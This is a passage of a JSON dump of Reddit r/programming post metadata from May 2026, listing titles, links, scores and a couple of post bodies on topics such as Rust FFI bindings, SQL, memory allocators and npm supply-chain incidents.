  "url": "https://chreke.com/posts/sql-incorrect-by-construction",
  "permalink": "https://www.reddit.com/r/programming/comments/1tdu6ge/sql_incorrect_by_construction/",
  "title": "SQL: Incorrect by Construction",
  "body": null,
  "author": "JohnyTex",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.15,
  "numComments": 10,
  "createdAt": "2026-05-15T11:59:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://chreke.com/posts/sql-incorrect-by-construction",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tdq64x",
  "url": "https://c3-lang.org/blog/0_8_0_the_core_language_is_settling/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tdq64x/c3_080_replaces_builtins_simplifies_reflection/",
  "title": "C3 0.8.0 replaces builtins, simplifies reflection, and rethinks unsigned sizes",
  "body": null,
  "author": "Nuoji",
  "subreddit": "programming",
  "score": 106,
  "upvoteRatio": 0.87,
  "numComments": 23,
  "createdAt": "2026-05-15T08:33:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://c3-lang.org/blog/0_8_0_the_core_language_is_settling/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tdecay",
  "url": "https://www.microsoft.com/en-us/research/blog/mimalloc-a-high-performance-scalable-memory-allocator-for-the-modern-era/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tdecay/mimalloc_a_new_highperformance_scalable_memory/",
  "title": "mimalloc: A new, high-performance, scalable memory allocator for the modern era",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 178,
  "upvoteRatio": 0.81,
  "numComments": 35,
  "createdAt": "2026-05-14T23:04:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.microsoft.com/en-us/research/blog/mimalloc-a-high-performance-scalable-memory-allocator-for-the-modern-era/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tdc2zx",
  "url": "https://www.opendata.dev/blog/introducing-vector",
  "permalink": "https://www.reddit.com/r/programming/comments/1tdc2zx/mitlicensed_vector_search_on_object_storage/",
  "title": "MIT-licensed Vector Search on Object Storage",
  "body": null,
  "author": "NoPercentage6144",
  "subreddit": "programming",
  "score": 16,
  "upvoteRatio": 0.79,
  "numComments": 4,
  "createdAt": "2026-05-14T21:35:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.opendata.dev/blog/introducing-vector",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tdbkrs",
  "url": "https://curtclifton.net/papers/MoseleyMarks06a.pdf",
  "permalink": "https://www.reddit.com/r/programming/comments/1tdbkrs/out_of_the_tar_pit_2006_the_paper_that_named/",
  "title": "Out of the Tar Pit (2006) — the paper that named complexity as software's central problem",
  "body": null,
  "author": "Outrageous-Thanks629",
  "subreddit": "programming",
  "score": 34,
  "upvoteRatio": 0.76,
  "numComments": 6,
  "createdAt": "2026-05-14T21:16:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://curtclifton.net/papers/MoseleyMarks06a.pdf",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1td9tgq",
  "url": "https://apas.tel/blog/optimizing-image-rs-blur",
  "permalink": "https://www.reddit.com/r/programming/comments/1td9tgq/5_faster_fast_blur_in_imagers/",
  "title": "5× faster fast_blur in image-rs",
  "body": null,
  "author": "arty049",
  "subreddit": "programming",
  "score": 91,
  "upvoteRatio": 0.92,
  "numComments": 15,
  "createdAt": "2026-05-14T20:12:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://apas.tel/blog/optimizing-image-rs-blur",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1td1gxa",
  "url": "https://modern-sql.com/blog/2026-05/order-by-history",
  "permalink": "https://www.reddit.com/r/programming/comments/1td1gxa/sqls_order_by_has_come_a_long_way/",
  "title": "SQL’s ORDER BY Has Come a Long Way",
  "body": null,
  "author": "mariuz",
  "subreddit": "programming",
  "score": 111,
  "upvoteRatio": 0.93,
  "numComments": 8,
  "createdAt": "2026-05-14T15:23:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://modern-sql.com/blog/2026-05/order-by-history",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1td13ep",
  "url": "https://denodell.com/blog/browsers-treat-big-sites-differently",
  "permalink": "https://www.reddit.com/r/programming/comments/1td13ep/browsers_treat_big_sites_differently/",
  "title": "Browsers Treat Big Sites Differently",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 505,
  "upvoteRatio": 0.94,
  "numComments": 181,
  "createdAt": "2026-05-14T15:10:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://denodell.com/blog/browsers-treat-big-sites-differently",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tcv17e",
  "url": "https://pypi.org/project/py-teleos/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tcv17e/how_i_embedded_a_rust_inference_engine_into_6/",
  "title": "How I embedded a Rust inference engine into 6 language runtimes",
  "body": "I recently shipped [py-teleos](vscode-file://vscode-app/c:/Users/jakes/AppData/Local/Programs/Microsoft%20VS%20Code/0958016b2a/resources/app/out/vs/code/electron-browser/workbench/workbench.html), a plain-language logic engine. The Python API is simple — you write rules like `if adult and has_license then can_drive`, call `ask()`, `why()`, `all()`. But under the hood, the engine is Rust, and I wanted bindings for every major language. Here's what I learned doing it.\n\n**The core: a C ABI from Rust**\n\nThe inference engine lives in a single Rust crate that compiles to a shared library (`teleos_core.dll` on Windows, `.so` on Linux). Rust can't expose a stable ABI directly, but it can expose a C ABI via `#[no_mangle] extern \"C\"` functions. Every binding targets that C interface — so the same 25-line header works for all six languages.\n\nThe tricky part is ownership. Rust manages memory, but callers don't. The solution: the engine allocates on the Rust heap and hands back opaque pointers. Callers pass the pointer back on every call. A matching `teleos_free()` drops it. This is the same pattern as SQLite's `sqlite3*`.\n\n**Python: ctypes vs cffi**\n\nPython's `ctypes` can call C functions directly. You load the `.dll`/`.so`, declare arg types and return types, and call it like a normal function. The awkward part is strings — Python's `str` is Unicode, but C wants `const char*`. You encode to UTF-8 before every call, and decode the result back. The bigger issue is the return value: Rust allocates the result string, Python reads it, then you have to call back into Rust to free it. Get that wrong and you leak memory on every query.\n\n**Go: CGO and why it's painful**\n\nGo has CGO, which lets you embed C headers directly in Go source with a special comment block. In theory it's clean. In practice, CGO requires a C compiler at build time — on Windows that means setting up `gcc` (Strawberry Perl's toolchain works), exporting `CGO_LDFLAGS` and `CGO_CFLAGS`, and hoping your PATH is right. CGO also disables Go's race detector and makes cross-compilation nearly impossible. For a simple FFI wrapper it works, but it's the most friction of any binding.\n\n**Java: JNA over JNI**\n\nThe standard Java way to call native code is JNI, which requires writing C glue code that bridges Java's type system to C. JNA skips that — you define a Java interface that mirrors the C header, and JNA generates the bridge at runtime via reflection. No C compiler needed. You just point it at the `.dll` with `-Djava.library.path` at test time. The tradeoff is a small runtime overhead per call from reflection, which doesn't matter for an inference engine that's doing real work per call anyway.\n\n**JavaScript: WASM instead of native**\n\nJS can't load `.dll` files in a browser, so the JS binding compiles the Rust crate to WebAssembly instead using wasm-pack. This produces a `.wasm` binary and a JS wrapper with TypeScript types. The build target matters: `--target nodejs` for Node.js (CommonJS), `--target web` for browsers. The WASM binary ships in the npm package so there's no native dependency at all — the tradeoff is a slightly larger install and no shared memory with the host process.\n\n**C#: P/Invoke**\n\nC# has P/Invoke, which is the cleanest FFI of the bunch. You annotate a static method with `[DllImport(\"teleos_core\")]` and the runtime finds and loads the library automatically. String marshaling is handled for you with `[MarshalAs(UnmanagedType.LPStr)]`. Of the six bindings, this one took the least code.\n\n**C++: header-only**\n\nSince C++ can call C directly, the binding is just a thin RAII wrapper in a header file. The constructor calls `teleos_parse()`, the destructor calls `teleos_free()`, and the methods are one-liners. No build system changes needed — just `#include \"teleos.hpp\"` and link against the library.\n\n**What I'd do differently**\n\nThe hardest part wasn't any individual binding — it was keeping the C header as the source of truth. Every time I changed a function signature in Rust, I had to update the header and retest all six bindings manually. A proper solution would generate the header from the Rust source using `cbindgen`. That's the next thing I'm adding.\n\nSource: [https://github.com/jaysyrk/teleos](vscode-file://vscode-app/c:/Users/jakes/AppData/Local/Programs/Microsoft%20VS%20Code/0958016b2a/resources/app/out/vs/code/electron-browser/workbench/workbench.html)",
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.24,
  "numComments": 2,
  "createdAt": "2026-05-14T11:15:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pypi.org/project/py-teleos/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tcuw48",
  "url": "https://brandfordtech.com/nestjs-for-express-developers/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tcuw48/switching_from_express_to_nestjs_heres_exactly/",
  "title": "Switching from Express to NestJS? Here's exactly what changes (and what doesn't)",
  "body": "A lot of Express devs look at NestJS and immediately think it's over-engineered decorators everywhere, a module system, controllers, services, all this boilerplate just to return some JSON.\n\nI thought the same thing. Then I realized NestJS isn't replacing Express, it's literally running on top of it. Under the hood, it's still an Express server. The same `req` and `res` objects. The same middleware model. The same Node.js HTTP behavior.",
  "author": "UneditedTips",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.21,
  "numComments": 7,
  "createdAt": "2026-05-14T11:08:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://brandfordtech.com/nestjs-for-express-developers/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tcuebe",
  "url": "https://github.com/oven-sh/bun/pull/30412",
  "permalink": "https://www.reddit.com/r/programming/comments/1tcuebe/rewrite_bun_in_rust_has_been_merged/",
  "title": "Rewrite Bun in Rust has been merged",
  "body": null,
  "author": "gruenistblau",
  "subreddit": "programming",
  "score": 612,
  "upvoteRatio": 0.9,
  "numComments": 400,
  "createdAt": "2026-05-14T10:44:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/oven-sh/bun/pull/30412",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tctrih",
  "url": "https://blog.faridnsh.ninja/mob-programming-an-enigma-machine-a-coding-dojo-experiment",
  "permalink": "https://www.reddit.com/r/programming/comments/1tctrih/i_attended_a_mob_programming_coding_dojo_that/",
  "title": "I attended a \"mob programming\" coding dojo that forced teams to communicate with sticky notes!",
  "body": null,
  "author": "alfred-nsh",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.21,
  "numComments": 0,
  "createdAt": "2026-05-14T10:11:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.faridnsh.ninja/mob-programming-an-enigma-machine-a-coding-dojo-experiment",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tcsy80",
  "url": "https://medium.com/code-like-a-girl/programmers-survival-guide-for-a-zombie-apocalypse-f1580422675a?sk=769b2a2889b81b6b3cc06aa366aeeba6",
  "permalink": "https://www.reddit.com/r/programming/comments/1tcsy80/how_to_build_a_programming_language_after/",
  "title": "How to build a programming language after civilization collapses",
  "body": null,
  "author": "Affectionate_Mix3",
  "subreddit": "programming",
  "score": 72,
  "upvoteRatio": 0.8,
  "numComments": 27,
  "createdAt": "2026-05-14T09:27:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/code-like-a-girl/programmers-survival-guide-for-a-zombie-apocalypse-f1580422675a?sk=769b2a2889b81b6b3cc06aa366aeeba6",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tcrdbf",
  "url": "https://mlu-explain.github.io/decision-tree/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tcrdbf/decision_trees/",
  "title": "Decision Trees",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 27,
  "upvoteRatio": 0.93,
  "numComments": 5,
  "createdAt": "2026-05-14T07:58:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mlu-explain.github.io/decision-tree/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tcr624",
  "url": "https://sockpuppet.org/blog/2026/05/12/emacsification/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tcr624/the_emacsification_of_software/",
  "title": "The Emacsification of Software",
  "body": null,
  "author": "Dear-Economics-315",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.32,
  "numComments": 3,
  "createdAt": "2026-05-14T07:47:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sockpuppet.org/blog/2026/05/12/emacsification/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tcjx01",
  "url": "https://kftray.app/blog/kubernetes-spdy-to-websockets",
  "permalink": "https://www.reddit.com/r/programming/comments/1tcjx01/just_wrote_up_some_thoughts_on_the_kubernetes/",
  "title": "just wrote up some thoughts on the kubernetes streaming migration",
  "body": null,
  "author": "Beginning_Dot_1310",
  "subreddit": "programming",
  "score": 25,
  "upvoteRatio": 0.79,
  "numComments": 1,
  "createdAt": "2026-05-14T01:49:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://kftray.app/blog/kubernetes-spdy-to-websockets",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tcjmk9",
  "url": "https://fagnerbrack.com/learn-python-the-hard-way-was-right-about-one-thing-9b6ab0b67526",
  "permalink": "https://www.reddit.com/r/programming/comments/1tcjmk9/learn_python_the_hard_way_was_right_about_one/",
  "title": "Learn Python the Hard Way Was Right About One Thing",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 41,
  "upvoteRatio": 0.84,
  "numComments": 13,
  "createdAt": "2026-05-14T01:36:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fagnerbrack.com/learn-python-the-hard-way-was-right-about-one-thing-9b6ab0b67526",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tchf5u",
  "url": "https://open-arsenal.gitlab.io/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tchf5u/usaf_just_launched_their_ams_gra_and_agra/",
  "title": "USAF just launched their AMS GRA and A-GRA reference architectures to the public.",
  "body": null,
  "author": "Ragnoraz",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.35,
  "numComments": 9,
  "createdAt": "2026-05-14T00:01:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://open-arsenal.gitlab.io/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tce7e6",
  "url": "https://programmers.fyi/unreal-engine-for-programmers-a-quick-start-with-c-on-the-mac",
  "permalink": "https://www.reddit.com/r/programming/comments/1tce7e6/unreal_engine_for_programmers_a_quick_start_with/",
  "title": "Unreal Engine for Programmers: A Quick Start with C++ on the Mac",
  "body": null,
  "author": "derjanni",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.52,
  "numComments": 1,
  "createdAt": "2026-05-13T21:53:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://programmers.fyi/unreal-engine-for-programmers-a-quick-start-with-c-on-the-mac",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tcbe9t",
  "url": "https://blog.geekuni.com/2026/02/python-for-java-developers.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tcbe9t/python_for_java_developers_or_vice_versa/",
  "title": "Python for Java developers (or vice versa)",
  "body": null,
  "author": "Horror-Willingness74",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.23,
  "numComments": 3,
  "createdAt": "2026-05-13T20:12:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.geekuni.com/2026/02/python-for-java-developers.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tc6d0n",
  "url": "https://www.chiply.dev/post-emacs-carnival-may",
  "permalink": "https://www.reddit.com/r/programming/comments/1tc6d0n/may_i_recommend_understanding_emacss_patterns/",
  "title": "May I recommend... understanding Emacs's patterns",
  "body": "This is my sideshow in Sacha Chua's May Emacs Carnival.  Enjoy!",
  "author": "misterchiply",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.58,
  "numComments": 10,
  "createdAt": "2026-05-13T17:21:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.chiply.dev/post-emacs-carnival-may",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tc62n4",
  "url": "https://questdb.com/blog/window-join-parallel-vectorized/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tc62n4/how_we_made_window_join_parallel_and_vectorized/",
  "title": "How we made WINDOW JOIN parallel and vectorized",
  "body": null,
  "author": "j1897OS",
  "subreddit": "programming",
  "score": 35,
  "upvoteRatio": 0.91,
  "numComments": 2,
  "createdAt": "2026-05-13T17:11:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://questdb.com/blog/window-join-parallel-vectorized/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tc628z",
  "url": "https://ieeexplore.ieee.org/document/8611447",
  "permalink": "https://www.reddit.com/r/programming/comments/1tc628z/intellectual_control_vs_statistical_control/",
  "title": "Intellectual Control vs Statistical Control",
  "body": null,
  "author": "self",
  "subreddit": "programming",
  "score": 21,
  "upvoteRatio": 0.97,
  "numComments": 5,
  "createdAt": "2026-05-13T17:11:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ieeexplore.ieee.org/document/8611447",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tc182n",
  "url": "https://duckdb.org/2026/05/12/quack-remote-protocol",
  "permalink": "https://www.reddit.com/r/programming/comments/1tc182n/quack_the_duckdb_clientserver_protocol/",
  "title": "Quack: The DuckDB Client-Server Protocol",
  "body": null,
  "author": "BrewedDoritos",
  "subreddit": "programming",
  "score": 38,
  "upvoteRatio": 0.94,
  "numComments": 4,
  "createdAt": "2026-05-13T14:24:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://duckdb.org/2026/05/12/quack-remote-protocol",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tc02h0",
  "url": "https://wasp.sh/blog/2026/05/13/new-language-for-web-dev-was-a-mistake",
  "permalink": "https://www.reddit.com/r/programming/comments/1tc02h0/5_years_and_5m_later_inventing_a_new_programming/",
  "title": "5 Years and $5M Later: Inventing a New Programming Language for Web Development Was a Mistake",
  "body": null,
  "author": "matijash",
  "subreddit": "programming",
  "score": 670,
  "upvoteRatio": 0.92,
  "numComments": 178,
  "createdAt": "2026-05-13T13:43:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://wasp.sh/blog/2026/05/13/new-language-for-web-dev-was-a-mistake",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tbynhu",
  "url": "https://fluxzy.io/resources/blogs/electron-to-tauri-migration-fluxzy-desktop",
  "permalink": "https://www.reddit.com/r/programming/comments/1tbynhu/five_months_after_switching_fluxzy_from_electron/",
  "title": "Five months after switching Fluxzy from Electron to Tauri",
  "body": null,
  "author": "DifficultyFine",
  "subreddit": "programming",
  "score": 75,
  "upvoteRatio": 0.92,
  "numComments": 7,
  "createdAt": "2026-05-13T12:48:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fluxzy.io/resources/blogs/electron-to-tauri-migration-fluxzy-desktop",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tby7av",
  "url": "https://www.architecture-weekly.com/p/residuality-theory-a-rebellious-take",
  "permalink": "https://www.reddit.com/r/programming/comments/1tby7av/residuality_theory_a_rebellious_take_on_building/",
  "title": "Residuality Theory: A Rebellious Take on Building Systems That Actually Survive",
  "body": null,
  "author": "HealthyInstance9182",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 0.74,
  "numComments": 6,
  "createdAt": "2026-05-13T12:29:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.architecture-weekly.com/p/residuality-theory-a-rebellious-take",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tbxszs",
  "url": "https://testing.googleblog.com/2026/05/code-review-responses-add-context-when.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tbxszs/code_review_responses_add_context_when_it_counts/",
  "title": "Code Review Responses: Add Context When It Counts",
  "body": null,
  "author": "ghled",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.63,
  "numComments": 7,
  "createdAt": "2026-05-13T12:12:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://testing.googleblog.com/2026/05/code-review-responses-add-context-when.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tbwoyg",
  "url": "https://www.theregister.com/security/2026/05/13/malware-crew-teampcp-open-sources-its-shai-hulud-worm-on-github/5239319",
  "permalink": "https://www.reddit.com/r/programming/comments/1tbwoyg/malware_crew_teampcp_opensources_its_shaihulud/",
  "title": "Malware crew TeamPCP open-sources its Shai-Hulud worm on GitHub",
  "body": null,
  "author": "CircumspectCapybara",
  "subreddit": "programming",
  "score": 183,
  "upvoteRatio": 0.95,
  "numComments": 27,
  "createdAt": "2026-05-13T11:22:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/security/2026/05/13/malware-crew-teampcp-open-sources-its-shai-hulud-worm-on-github/5239319",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tbu23o",
  "url": "https://www.heltweg.org/posts/learnings-from-crawling-technical-documentation/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tbu23o/learnings_from_crawling_technical_documentation/",
  "title": "Learnings From Crawling Technical Documentation",
  "body": null,
  "author": "rhazn",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 1,
  "numComments": 0,
  "createdAt": "2026-05-13T09:02:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.heltweg.org/posts/learnings-from-crawling-technical-documentation/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tbse80",
  "url": "https://www.elastic.co/search-labs/blog/elasticsearch-vector-search-simdvec-engine",
  "permalink": "https://www.reddit.com/r/programming/comments/1tbse80/how_simd_improved_vector_search_performance_in/",
  "title": "How SIMD improved vector search performance in Elasticsearch",
  "body": null,
  "author": "chegar999",
  "subreddit": "programming",
  "score": 57,
  "upvoteRatio": 0.75,
  "numComments": 28,
  "createdAt": "2026-05-13T07:26:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.elastic.co/search-labs/blog/elasticsearch-vector-search-simdvec-engine",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tblknw",
  "url": "https://tanstack.com/blog/npm-supply-chain-compromise-postmortem",
  "permalink": "https://www.reddit.com/r/programming/comments/1tblknw/postmortem_tanstack_npm_supplychain_compromise/",
  "title": "Postmortem: TanStack npm supply-chain compromise",
  "body": null,
  "author": "CircumspectCapybara",
  "subreddit": "programming",
  "score": 63,
  "upvoteRatio": 0.9,
  "numComments": 2,
  "createdAt": "2026-05-13T01:47:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tanstack.com/blog/npm-supply-chain-compromise-postmortem",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tbi8at",
  "url": "https://cybersecuritynews.com/popular-go-library-fsnotify-raises-supply-chain",
  "permalink": "https://www.reddit.com/r/programming/comments/1tbi8at/popular_go_library_fsnotify_raises_supply_chain/",
  "title": "Popular Go Library fsnotify Raises Supply Chain Alarms After Maintainer Access Changes",
  "body": null,
  "author": "CircumspectCapybara",
  "subreddit": "programming",
  "score": 108,
  "upvoteRatio": 0.88,
  "numComments": 18,
  "createdAt": "2026-05-12T23:22:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cybersecuritynews.com/popular-go-library-fsnotify-raises-supply-chain",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tbg6qw",
  "url": "https://dubeykartikay.com/posts/the-shape-of-duplicate-detection/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tbg6qw/choosing_the_right_duplicate_detection_strategy/",
  "title": "Choosing the Right Duplicate Detection Strategy",
  "body": null,
  "author": "BgA_stan",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 0.81,
  "numComments": 0,
  "createdAt": "2026-05-12T21:59:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dubeykartikay.com/posts/the-shape-of-duplicate-detection/",
    "thumbnail": null,
    "isVideo": false,
